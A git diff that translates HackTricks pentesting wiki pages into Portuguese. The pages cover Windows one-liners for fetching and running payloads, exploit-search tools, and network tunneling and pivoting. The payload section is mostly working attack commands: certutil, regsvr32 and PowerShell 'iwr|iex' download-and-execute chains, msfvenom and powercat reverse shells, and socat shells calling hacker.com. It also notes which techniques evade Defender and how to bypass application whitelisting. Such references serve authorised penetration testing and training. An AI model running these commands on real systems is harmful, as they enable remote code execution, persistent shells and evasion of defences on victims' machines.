+- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 rundll32 \\webdavserver\folder\payload.dll,entrypoint
 ```
@@ -212,13 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
 ```bash
 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
 ```
-
-**Detected by defender**
+**Detectado pelo defensor**
 
 **Rundll32 - sct**
 
-[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
-
+[**Daqui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
 ```xml
 
 
@@ -228,22 +189,18 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http
 
 
 
 ```
-
 #### **Rundll32 - Metasploit**
-
 ```bash
 use windows/smb/smb_delivery
 run
 #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
 ```
-
 **Rundll32 - Koadic**
-
 ```bash
 use stager/js/rundll32_js
 set SRVHOST 192.168.1.107
@@ -252,11 +209,9 @@ run
 #Koadic will tell you what you need to execute inside the victim, it will be something like:
 rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
 ```
-
 ## Regsvr32
 
-- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
-
+- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
 ```
@@ -264,32 +219,28 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
 ```
 regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
 ```
-
-**Detected by defender**
+**Detectado pelo defensor**
 
 #### Regsvr32 -sct
 
-[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
-
+[**Daqui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
 ```markup
 
 
 
 
 
-    
 
 
 ```
-
 #### **Regsvr32 - Metasploit**
-
 ```bash
 use multi/script/web_delivery
 set target 3
@@ -298,50 +249,38 @@ set lhost 10.2.0.5
 run
 #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
 ```
-
-**You can download & execute very easily a Koadic zombie using the stager regsvr**
+**Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager regsvr**
 
 ## Certutil
 
-- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
-
-Download a B64dll, decode it and execute it.
+- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 
+Baixe um B64dll, decodifique-o e execute-o.
 ```bash
 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
 ```
-
-Download a B64exe, decode it and execute it.
-
+Baixe um B64exe, decodifique-o e execute-o.
 ```bash
 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
 ```
-
-**Detected by defender**
+**Detectado pelo defensor**
 
 ## **Cscript/Wscript**
-
 ```bash
 powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
 ```
-
 **Cscript - Metasploit**
-
 ```bash
 msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
 ```
-
-**Detected by defender**
+**Detectado pelo defensor**
 
 ## PS-Bat
-
 ```bash
 \\webdavserver\folder\batchfile.bat
 ```
-
-Process performing network call: **svchost.exe**\
-Payload written on disk: **WebDAV client local cache**
-
+Processo realizando chamada de rede: **svchost.exe**\
+Payload escrito no disco: **Cache local do cliente WebDAV**
 ```bash
 msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
 impacket-smbserver -smb2support kali `pwd`
@@ -350,203 +289,168 @@ impacket-smbserver -smb2support kali `pwd`
 ```bash
 \\10.8.0.3\kali\shell.bat
 ```
-
-**Detected by defender**
+**Detectado pelo defensor**
 
 ## **MSIExec**
 
-Attacker
-
+Atacante
 ```
 msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
 python -m SimpleHTTPServer 80
 ```
-
-Victim:
-
+Vítima:
 ```
 victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
 ```
-
-**Detected**
+**Detectado**
 
 ## **Wmic**
 
-- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
-
+- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 wmic os get /format:"https://webserver/payload.xsl"
 ```
-
-Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
-
+Exemplo de arquivo xsl [a partir daqui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
 ```xml
 
 
 
-    
-        
-    
+
+
+
 
 ```
+**Não detectado**
 
-**Not detected**
-
-**You can download & execute very easily a Koadic zombie using the stager wmic**
+**Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager wmic**
 
 ## Msbuild
 
-- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
-
+- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```
 cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
 ```
-
-You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\
-Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
-
+Você pode usar essa técnica para contornar a Lista de Permissão de Aplicativos e as restrições do Powershell.exe. Como você será solicitado a usar um shell PS.\
+Basta baixar isso e executá-lo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
 ```
-
-**Not detected**
+**Não detectado**
 
 ## **CSC**
 
-Compile C# code in the victim machine.
-
+Compile o código C# na máquina da vítima.
 ```
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
 ```
+Você pode baixar um shell reverso básico em C# daqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
 
-You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
-
-**Not deteted**
+**Não detectado**
 
 ## **Regasm/Regsvc**
 
-- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
-
+- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
 ```
-
-**I haven't tried it**
+**Eu não tentei**
 
 [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
 
 ## Odbcconf
 
-- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
-
+- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
 ```
-
-**I haven't tried it**
+**Eu não tentei isso**
 
 [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
 
-## Powershell Shells
+## Shells do Powershell
 
 ### PS-Nishang
 
 [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
 
-In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file:
-
+Na pasta **Shells**, há muitas shells diferentes. Para baixar e executar Invoke-_PowerShellTcp.ps1_, faça uma cópia do script e adicione ao final do arquivo:
 ```
 Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
 ```
-
-Start serving the script in a web server and execute it on the victim's end:
-
+Comece a servir o script em um servidor web e execute-o no lado da vítima:
 ```
 powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
 ```
+O Defender não o detecta como código malicioso (ainda, 3/04/2019).
 
-Defender doesn't detect it as malicious code (yet, 3/04/2019).
-
-**TODO: Check other nishang shells**
+**TODO: Verificar outras shells nishang**
 
 ### **PS-Powercat**
 
 [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
 
-Download, start a web server, start the listener, and execute it on the victim's end:
-
+Baixe, inicie um servidor web, inicie o listener e execute-o no lado da vítima:
 ```
- powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
+powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
 ```
+O Defender não o detecta como código malicioso (ainda, 03/04/2019).
 
-Defender doesn't detect it as malicious code (yet, 3/04/2019).
-
-**Other options offered by powercat:**
+**Outras opções oferecidas pelo powercat:**
 
 Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
-
 ```
 Serve a cmd Shell:
-    powercat -l -p 443 -e cmd
+powercat -l -p 443 -e cmd
 Send a cmd Shell:
-    powercat -c 10.1.1.1 -p 443 -e cmd
+powercat -c 10.1.1.1 -p 443 -e cmd
 Send a powershell:
-    powercat -c 10.1.1.1 -p 443 -ep
+powercat -c 10.1.1.1 -p 443 -ep
 Send a powershell UDP:
-    powercat -c 10.1.1.1 -p 443 -ep -u
+powercat -c 10.1.1.1 -p 443 -ep -u
 TCP Listener to TCP Client Relay:
-    powercat -l -p 8000 -r tcp:10.1.1.16:443
+powercat -l -p 8000 -r tcp:10.1.1.16:443
 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
-    powercat -c 10.1.1.15 -p 443 -e cmd -g
+powercat -c 10.1.1.15 -p 443 -e cmd -g
 Start A Persistent Server That Serves a File:
-    powercat -l -p 443 -i C:\inputfile -rep
+powercat -l -p 443 -i C:\inputfile -rep
 ```
-
 ### Empire
 
 [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
 
-Create a powershell launcher, save it in a file and download and execute it.
-
+Crie um lançador de powershell, salve-o em um arquivo e faça o download e execute-o.
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
 ```
-
-**Detected as malicious code**
+**Detectado como código malicioso**
 
 ### MSF-Unicorn
 
 [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
 
-Create a powershell version of metasploit backdoor using unicorn
-
+Crie uma versão em powershell do backdoor do metasploit usando unicorn
 ```
 python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
 ```
-
-Start msfconsole with the created resource:
-
+Inicie o msfconsole com o recurso criado:
 ```
 msfconsole -r unicorn.rc
 ```
-
-Start a web server serving the _powershell_attack.txt_ file and execute in the victim:
-
+Inicie um servidor web servindo o arquivo _powershell_attack.txt_ e execute na vítima:
 ```
 powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
 ```
+**Detectado como código malicioso**
 
-**Detected as malicious code**
+## Mais
 
-## More
+[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS com alguns módulos PS ofensivos pré-carregados (cifrado)\
+[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\
+WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos PS ofensivos e detecção de proxy (IEX)
 
-[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\
-[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
-WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX)
-
-## References
+## Referências
 
 - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
 - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
diff --git a/src/generic-hacking/search-exploits.md b/src/generic-hacking/search-exploits.md
index 8d195840a..24aa5805b 100644
--- a/src/generic-hacking/search-exploits.md
+++ b/src/generic-hacking/search-exploits.md
@@ -2,24 +2,15 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
-
 ### Browser
 
-Always search in "google" or others: **\ \[version] exploit**
+Sempre pesquise em "google" ou outros: **\ \[version] exploit**
 
-You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io).
+Você também deve tentar a **pesquisa de exploits do shodan** em [https://exploits.shodan.io/](https://exploits.shodan.io).
 
 ### Searchsploit
 
-Useful to search exploits for services in **exploitdb from the console.**
-
+Útil para pesquisar exploits para serviços no **exploitdb a partir do console.**
 ```bash
 #Searchsploit tricks
 searchsploit "linux Kernel" #Example
@@ -29,43 +20,33 @@ searchsploit -p 7618[.c] #Show complete path
 searchsploit -x 7618[.c] #Open vi to inspect the exploit
 searchsploit --nmap file.xml #Search vulns inside an nmap xml result
 ```
-
 ### Pompem
 
-[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits
+[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) é outra ferramenta para buscar exploits
 
 ### MSF-Search
-
 ```bash
 msf> search platform:windows port:135 target:XP type:exploit
 ```
-
 ### PacketStorm
 
-If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com)
+Se nada for encontrado, tente pesquisar a tecnologia utilizada em [https://packetstormsecurity.com/](https://packetstormsecurity.com)
 
 ### Vulners
 
-You can also search in vulners database: [https://vulners.com/](https://vulners.com)
+Você também pode pesquisar no banco de dados vulners: [https://vulners.com/](https://vulners.com)
 
 ### Sploitus
 
-This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com)
+Isso pesquisa por exploits em outros bancos de dados: [https://sploitus.com/](https://sploitus.com)
 
 ### Sploitify
 
-GTFOBins-like curated list of exploits with filters by vulnerability type (Local Privilege Escalation, Remote Code execution, etc), service type (Web, SMB, SSH, RDP, etc), OS and practice labs (links to machines where you can play with sploits): [https://sploitify.haxx.it](https://sploitify.haxx.it)
+Lista curada semelhante ao GTFOBins de exploits com filtros por tipo de vulnerabilidade (Escalação de Privilégios Local, Execução Remota de Código, etc), tipo de serviço (Web, SMB, SSH, RDP, etc), SO e laboratórios práticos (links para máquinas onde você pode brincar com exploits): [https://sploitify.haxx.it](https://sploitify.haxx.it)
 
 ### search_vulns
 
-search_vulns enables you to search for known vulnerabilities and exploits as well: [**https://search-vulns.com/**](https://search-vulns.com/). It utilizes various data sources like the NVD, the Exploit-DB, PoC-in-GitHub, the GitHub Security Advisory database and endoflife.date.
+search_vulns permite que você pesquise por vulnerabilidades e exploits conhecidos também: [**https://search-vulns.com/**](https://search-vulns.com/). Ele utiliza várias fontes de dados como o NVD, o Exploit-DB, PoC-in-GitHub, o banco de dados de Avisos de Segurança do GitHub e endoflife.date.
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index 902da0e5b..3711ad05e 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -2,15 +2,14 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Nmap tip
+## Dica do Nmap
 
 > [!WARNING]
-> **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work.
+> **ICMP** e **SYN** scans não podem ser tunelados através de proxies socks, então devemos **desativar a descoberta de ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione.
 
 ## **Bash**
 
 **Host -> Jump -> InternalA -> InternalB**
-
 ```bash
 # On the jump server connect the port 3333 to the 5985
 mknod backpipe p;
@@ -26,19 +25,15 @@ cat <&4 >&3 &
 # From the host, you can now access InternalB from the Jump server
 evil-winrm -u username -i Jump
 ```
-
 ## **SSH**
 
-SSH graphical connection (X)
-
+Conexão gráfica SSH (X)
 ```bash
 ssh -Y -C @ #-Y is less secure but faster than -X
 ```
-
 ### Local Port2Port
 
-Open new Port in SSH Server --> Other port
-
+Abra nova porta no servidor SSH --> Outra porta
 ```bash
 ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
 ```
@@ -46,29 +41,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in
 ```bash
 ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
 ```
-
 ### Port2Port
 
-Local port --> Compromised host (SSH) --> Third_box:Port
-
+Porta local --> Host comprometido (SSH) --> Terceira_caixa:Port
 ```bash
 ssh -i ssh_key @ -L :: [-p ] [-N -f]  #This way the terminal is still in your host
 #Example
 sudo ssh -L 631::631 -N -f -l  
 ```
-
 ### Port2hostnet (proxychains)
 
-Local Port --> Compromised host (SSH) --> Wherever
-
+Porta Local --> Host comprometido (SSH) --> Onde quer que seja
 ```bash
 ssh -f -N -D  @ #All sent to local port will exit through the compromised server (use as proxy)
 ```
+### Encaminhamento de Porta Reversa
 
-### Reverse Port Forwarding
-
-This is useful to get reverse shells from internal hosts through a DMZ to your host:
-
+Isso é útil para obter shells reversos de hosts internos através de uma DMZ para o seu host:
 ```bash
 ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN
 # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
@@ -77,13 +66,11 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN
 # and change the line "GatewayPorts no" to "GatewayPorts yes"
 # to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
 ```
-
 ### VPN-Tunnel
 
-You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\
+Você precisa de **root em ambos os dispositivos** (já que você vai criar novas interfaces) e a configuração do sshd deve permitir login como root:\
 `PermitRootLogin yes`\
 `PermitTunnel yes`
-
 ```bash
 ssh root@server -w any:any #This will create Tun interfaces in both devices
 ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
@@ -91,50 +78,38 @@ ifconfig tun0 up #Activate the client side network interface
 ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
 ifconfig tun0 up #Activate the server side network interface
 ```
-
-Enable forwarding on the Server side
-
+Ative o encaminhamento no lado do servidor
 ```bash
 echo 1 > /proc/sys/net/ipv4/ip_forward
 iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
 ```
-
-Set a new route on the client side
-
+Defina uma nova rota no lado do cliente
 ```
 route add -net 10.0.0.0/16 gw 1.1.1.1
 ```
-
 ## SSHUTTLE
 
-You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\
-For example, forwarding all the traffic going to 10.10.10.0/24
-
+Você pode **túnel** via **ssh** todo o **tráfego** para uma **sub-rede** através de um host.\
+Por exemplo, encaminhando todo o tráfego que vai para 10.10.10.0/24
 ```bash
 pip install sshuttle
 sshuttle -r user@host 10.10.10.10/24
 ```
-
-Connect with a private key
-
+Conectar com uma chave privada
 ```bash
 sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
 # -D : Daemon mode
 ```
-
 ## Meterpreter
 
 ### Port2Port
 
-Local port --> Compromised host (active session) --> Third_box:Port
-
+Porta local --> Host comprometido (sessão ativa) --> Terceira_caixa:Port
 ```bash
 # Inside a meterpreter session
 portfwd add -l  -p  -r 
 ```
-
 ### SOCKS
-
 ```bash
 background# meterpreter session
 route add    # (ex: route add 10.10.10.14 255.255.255.0 8)
@@ -142,9 +117,7 @@ use auxiliary/server/socks_proxy
 run #Proxy port 1080 by default
 echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
 ```
-
-Another way:
-
+Outra maneira:
 ```bash
 background #meterpreter session
 use post/multi/manage/autoroute
@@ -157,13 +130,11 @@ set VERSION 4a
 run #Proxy port 1080 by default
 echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
 ```
-
 ## Cobalt Strike
 
 ### SOCKS proxy
 
-Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**.
-
+Abra uma porta no teamserver ouvindo em todas as interfaces que podem ser usadas para **rotear o tráfego através do beacon**.
 ```bash
 beacon> socks 1080
 [+] started SOCKS4a server on: 1080
@@ -171,50 +142,42 @@ beacon> socks 1080
 # Set port 1080 as proxy server in proxychains.conf
 proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
 ```
-
 ### rPort2Port
 
 > [!WARNING]
-> In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port
-
+> Neste caso, a **porta é aberta no host beacon**, não no Team Server, e o tráfego é enviado para o Team Server e, a partir daí, para o host:porta indicado.
 ```bash
 rportfwd [bind port] [forward host] [forward port]
 rportfwd stop [bind port]
 ```
+Para notar:
 
-To note:
-
-- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**.
-- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links.
-- **Admin privileges are not required** to create reverse port forwards on high ports.
+- O **reencaminhamento de porta reversa do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**.
+- O tráfego é **tuneado dentro do tráfego C2 do Beacon**, incluindo links P2P.
+- **Privilégios de administrador não são necessários** para criar reencaminhamentos de porta reversa em portas altas.
 
 ### rPort2Port local
 
 > [!WARNING]
-> In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port
-
+> Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e de lá para o host:porta indicado.
 ```
 rportfwd_local [bind port] [forward host] [forward port]
 rportfwd_local stop [bind port]
 ```
-
 ## reGeorg
 
 [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
 
-You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp
-
+Você precisa fazer o upload de um arquivo web tunnel: ashx|aspx|js|jsp|php|php|jsp
 ```bash
 python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
 ```
-
 ## Chisel
 
-You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
-You need to use the **same version for client and server**
+Você pode baixá-lo na página de lançamentos de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
+Você precisa usar a **mesma versão para cliente e servidor**
 
 ### socks
-
 ```bash
 ./chisel server -p 8080 --reverse #Server -- Attacker
 ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
@@ -223,22 +186,18 @@ You need to use the **same version for client and server**
 ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
 ./chisel client -v 10.10.10.10:8080 socks #Attacker
 ```
-
-### Port forwarding
-
+### Encaminhamento de portas
 ```bash
 ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
 ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
 ```
-
 ## Ligolo-ng
 
 [https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng)
 
-**Use the same version for agent and proxy**
+**Use a mesma versão para agente e proxy**
 
 ### Tunneling
-
 ```bash
 # Start proxy server and automatically generate self-signed TLS certificates -- Attacker
 sudo ./proxy -selfcert
@@ -260,9 +219,7 @@ interface_add_route --name "ligolo" --route / python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
 ```
@@ -293,9 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
 ```bash
 victim> python client.py --server-ip  --server-port 9999
 ```
-
-Pivot through **NTLM proxy**
-
+Fazer pivot através do **NTLM proxy**
 ```bash
 victim> python client.py --server-ip  --server-port 9999 --ntlm-proxy-ip  --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
 ```
@@ -303,39 +254,29 @@ victim> python client.py --server-ip  --server-port 9999 --ntl
 ```bash
 victim> python client.py --server-ip  --server-port 9999 --ntlm-proxy-ip  --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
 ```
-
 ## **Socat**
 
 [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
 
-### Bind shell
-
+### Shell de ligação
 ```bash
 victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
 attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337
 ```
-
-### Reverse shell
-
+### Shell reversa
 ```bash
 attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane
 ```
-
 ### Port2Port
-
 ```bash
 socat TCP4-LISTEN:,fork TCP4:: &
 ```
-
-### Port2Port through socks
-
+### Port2Port através de socks
 ```bash
 socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
 ```
-
-### Meterpreter through SSL Socat
-
+### Meterpreter através de SSL Socat
 ```bash
 #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
 attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@@ -345,21 +286,17 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
 victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
 #Execute the meterpreter
 ```
-
-You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console:
-
+Você pode contornar um **proxy não autenticado** executando esta linha em vez da última no console da vítima:
 ```bash
 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
 ```
-
 [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
 
-### SSL Socat Tunnel
+### Túnel SSL Socat
 
 **/bin/sh console**
 
-Create certificates on both sides: Client and Server
-
+Crie certificados em ambos os lados: Cliente e Servidor
 ```bash
 # Execute these commands on both sides
 FILENAME=socatssl
@@ -373,34 +310,28 @@ chmod 600 $FILENAME.key $FILENAME.pem
 attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
